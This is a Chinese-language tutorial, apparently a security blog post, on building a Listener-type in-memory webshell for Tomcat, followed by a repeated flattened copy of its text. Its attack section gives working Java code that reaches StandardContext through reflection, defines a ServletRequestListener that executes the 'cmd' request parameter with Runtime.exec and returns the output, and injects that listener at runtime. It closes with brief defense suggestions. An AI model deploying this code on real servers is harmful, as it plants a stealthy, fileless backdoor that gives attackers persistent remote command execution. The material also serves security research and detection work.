java内存马连续剧——Listener内存马
字数 1349 2025-08-10 13:48:27

Java内存马技术研究:Listener型内存马

1. Listener内存马概述

1.1 监听器基本概念

  • Listener是JavaWeb三大组件之一(Servlet、Filter、Listener)
  • 功能:监听web应用中对象的创建、添加、销毁等事件并做出响应
  • 实现方式:实现特定接口的Java程序

1.2 Listener三大域对象

  1. ServletContext域对象

    • 作用范围:整个Java Web应用程序
    • 用途:共享数据、资源和配置信息
  2. ServletRequest域对象

    • 作用范围:单次HTTP请求处理期间
    • 用途:请求处理期间共享数据
    • 最适合注入内存马:因为可以针对每个请求执行恶意代码
  3. HttpSession域对象

    • 作用范围:用户会话期间
    • 用途:跨请求保持用户状态信息

2. Listener内存马实现原理

2.1 核心机制

  • 注入恶意ServletRequestListener实现类
  • 重写requestInitialized方法(类似Filter的doFilter
  • 当有HTTP请求时自动执行恶意代码

2.2 示例代码结构

package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class MyListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre){
        System.out.println("Listener被执行");
    }
}

2.3 配置文件

需要在web.xml中配置:

<listener>
    <listener-class>Listener.MyListener</listener-class>
</listener>

3. Listener注册与调用流程分析

3.1 注册流程

  1. 读取配置文件

    • ContextConfig.configureContext()方法读取web.xml
    • 遍历配置文件中的Listener定义
    • 调用StandardContext.addApplicationListener()添加监听器
  2. 存储位置

    • 监听器被存储在applicationListeners数组中

3.2 调用流程

  1. StandardContext.listenerStart()启动监听
  2. StandardContext.fireRequestInitEvent()触发请求初始化事件
  3. 通过getApplicationEventListeners()获取监听器数组
  4. 遍历数组,检查是否实现ServletRequestListener接口
  5. 调用符合条件的监听器的requestInitialized方法

4. 攻击实现与EXP编写

4.1 攻击思路

  • 通过反射获取StandardContext对象
  • 将恶意Listener添加到applicationEventListenersList
  • 利用addApplicationEventListener方法注入

4.2 关键代码实现

获取StandardContext

ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Listener实现

class ListenerMemShell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = 
                (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade")
                .getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();
            
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

注入恶意Listener

// 获取现有监听器
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);

// 添加恶意监听器
arrayList.add(new ListenerMemShell());

// 设置回StandardContext
standardContext.setApplicationEventListeners(arrayList.toArray());

5. 内存马特点

  1. 无文件驻留:即使删除JSP文件,内存马仍可执行
  2. 隐蔽性强:存在于内存中,难以通过常规文件扫描发现
  3. 持久性:只要应用不重启,内存马持续有效
  4. 按需触发:仅在请求到达时执行恶意代码

6. 防御建议

  1. 输入验证:严格校验上传的JSP文件内容
  2. 运行时监控:监控非预期的Listener注册行为
  3. 权限控制:限制反射操作权限
  4. 安全加固:禁用不必要的Java反射功能
  5. 定期检查:检查内存中的Listener列表是否异常

7. 参考资源

Java内存马技术研究:Listener型内存马 1. Listener内存马概述 1.1 监听器基本概念 Listener是JavaWeb三大组件之一(Servlet、Filter、Listener) 功能:监听web应用中对象的创建、添加、销毁等事件并做出响应 实现方式:实现特定接口的Java程序 1.2 Listener三大域对象 ServletContext域对象 作用范围:整个Java Web应用程序 用途:共享数据、资源和配置信息 ServletRequest域对象 作用范围:单次HTTP请求处理期间 用途:请求处理期间共享数据 最适合注入内存马 :因为可以针对每个请求执行恶意代码 HttpSession域对象 作用范围:用户会话期间 用途:跨请求保持用户状态信息 2. Listener内存马实现原理 2.1 核心机制 注入恶意 ServletRequestListener 实现类 重写 requestInitialized 方法(类似Filter的 doFilter ) 当有HTTP请求时自动执行恶意代码 2.2 示例代码结构 2.3 配置文件 需要在 web.xml 中配置: 3. Listener注册与调用流程分析 3.1 注册流程 读取配置文件 ContextConfig.configureContext() 方法读取web.xml 遍历配置文件中的Listener定义 调用 StandardContext.addApplicationListener() 添加监听器 存储位置 监听器被存储在 applicationListeners 数组中 3.2 调用流程 StandardContext.listenerStart() 启动监听 StandardContext.fireRequestInitEvent() 触发请求初始化事件 通过 getApplicationEventListeners() 获取监听器数组 遍历数组,检查是否实现 ServletRequestListener 接口 调用符合条件的监听器的 requestInitialized 方法 4. 攻击实现与EXP编写 4.1 攻击思路 通过反射获取 StandardContext 对象 将恶意Listener添加到 applicationEventListenersList 中 利用 addApplicationEventListener 方法注入 4.2 关键代码实现 获取StandardContext 恶意Listener实现 注入恶意Listener 5. 内存马特点 无文件驻留 :即使删除JSP文件,内存马仍可执行 隐蔽性强 :存在于内存中,难以通过常规文件扫描发现 持久性 :只要应用不重启,内存马持续有效 按需触发 :仅在请求到达时执行恶意代码 6. 防御建议 输入验证 :严格校验上传的JSP文件内容 运行时监控 :监控非预期的Listener注册行为 权限控制 :限制反射操作权限 安全加固 :禁用不必要的Java反射功能 定期检查 :检查内存中的Listener列表是否异常 7. 参考资源 Java内存马系列-04-Tomcat之Listener型内存马